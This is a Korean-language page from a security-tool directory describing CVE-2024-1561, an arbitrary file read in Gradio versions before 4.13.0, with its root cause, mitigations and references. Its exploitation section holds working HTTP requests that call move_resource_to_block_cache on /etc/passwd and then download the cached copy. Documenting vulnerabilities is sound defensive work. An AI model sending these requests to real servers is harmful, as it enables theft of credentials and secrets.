Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-1561 — CVE-2024-1561 - Gradio 임의 파일 읽기 | Kitploit
도구/GitHubGitHub/k3ystr0k3r/cve-2024-1561
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & Education
GitHubk3ystr0k3r/cve-2024-1561

CVE-2024-1561

CVE-2024-1561 - Gradio 임의 파일 읽기

저장소 보기
1개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-1561 - Gradio 임의 파일 읽기

CVE-2024-1561은 4.13.0 이전 Gradio 버전에 영향을 주는 임의 파일 읽기 취약점입니다. Gradio는 머신러닝 모델과 AI 애플리케이션용 웹 인터페이스를 빠르게 구축하는 데 사용되는 널리 알려진 Python 프레임워크입니다.

이 취약점은 /component_server 엔드포인트가 내부 Component 클래스의 어떤 메서드를 호출할 수 있는지 제대로 제한하지 않기 때문에 발생합니다. 공격자는 이 동작을 악용하여 HTTP로 노출될 의도가 없는 메서드를 호출할 수 있습니다.

이러한 메서드 중 하나인 move_resource_to_block_cache는 로컬 파일시스템의 파일을 Gradio의 임시 캐시 디렉터리로 복사할 수 있게 합니다. 파일이 복사되면 /file 엔드포인트를 통해 접근할 수 있게 되어 공격자가 해당 내용을 가져올 수 있습니다.

이 취약점은 직접적인 원격 코드 실행을 제공하지는 않지만 서버의 민감한 파일을 노출할 수 있으며, 자격 증명, 구성 파일, API 키, 토큰 또는 추가 공격에 유용한 기타 정보를 수집하는 데 악용될 수 있습니다.


영향을 받는 버전

  • Gradio < 4.13.0

4.13.0 이상 버전에는 임의 메서드 호출을 방지하는 데 필요한 보안 검사가 포함되어 있습니다.


근본 원인

이 문제는 /component_server 엔드포인트 내부의 불충분한 검증에서 비롯됩니다.

요청을 호출 가능한 함수의 안전한 목록으로 제한하는 대신, Gradio는 공격자가 컴포넌트 인스턴스에 속한 임의의 메서드 이름을 지정할 수 있도록 허용했습니다.

내부 메서드가:

root@kitploit:~
move_resource_to_block_cache()

파일시스템 경로를 입력으로 받기 때문에, 공격자는 애플리케이션에 지시하여 서버에서 읽을 수 있는 임의의 파일을 캐시할 수 있습니다.

일단 캐시되면 해당 파일은 Gradio의 일반적인 파일 제공 기능을 통해 노출됩니다.


악용 절차

성공적인 공격은 일반적으로 다음 단계를 따릅니다.

  1. /config 엔드포인트를 쿼리합니다.
  2. 유효한 컴포넌트 ID를 획득합니다.
  3. /component_server에 요청을 보냅니다.
  4. move_resource_to_block_cache 메서드를 호출합니다.
  5. 대상 파일의 경로를 제공합니다(예: /etc/passwd).
  6. 서버 응답에서 임시 캐시 경로를 받습니다.
  7. /file 엔드포인트를 통해 캐시된 파일을 다운로드합니다.

이 절차를 통해 Gradio 프로세스가 읽을 수 있는 임의의 파일을 원격으로 검색할 수 있습니다.


예제 요청

root@kitploit:~
POST /component_server HTTP/1.1
Host: target
Content-Type: application/json

{
    "component_id": "3",
    "data": "/etc/passwd",
    "fn_name": "move_resource_to_block_cache",
    "session_hash": "aaaaaaaaaaa"
}

성공하면 Gradio는 캐시된 파일의 위치를 반환합니다.

그런 다음 공격자는 다음을 요청할 수 있습니다:

root@kitploit:~
GET /file=/tmp/gradio/<cached-file>/passwd HTTP/1.1
Host: target

를 통해 내용을 가져올 수 있습니다.


보안 영향

성공적인 악용 시 공격자는 다음을 포함한 민감한 파일을 읽을 수 있습니다:

  • /etc/passwd
  • 개인 SSH 키
  • 환경 파일(.env)
  • API 토큰
  • 클라우드 자격 증명
  • 애플리케이션 구성 파일
  • 데이터베이스 자격 증명
  • 소스 코드
  • 인증 비밀값

영향 범위는 Gradio 애플리케이션의 권한에 따라 달라집니다.


완화 방안

이 취약점을 해결하려면:

  • Gradio를 4.13.0 이상으로 업그레이드하세요.
  • Gradio 애플리케이션을 공개 인터넷에 직접 노출하지 마세요.
  • 가능하면 항상 인증을 요구하세요.
  • 리버스 프록시 또는 방화벽을 사용하여 접근을 제한하세요.
  • Gradio를 필요한 최소 권한으로 실행하세요.
  • 애플리케이션 프로세스가 접근할 수 있는 위치에 민감한 자격 증명을 저장하지 마세요.

참조

  • CVE: https://nvd.nist.gov/vuln/detail/CVE-2024-1561
  • Patch: https://github.com/gradio-app/gradio/pull/6884

면책 조항

이 저장소는 교육 목적, 보안 연구, 승인된 침투 테스트로만 제공됩니다. 소유하지 않았거나 평가 권한이 없는 시스템을 테스트하기 전에 항상 명시적인 허가를 받으세요.

도구 다운로드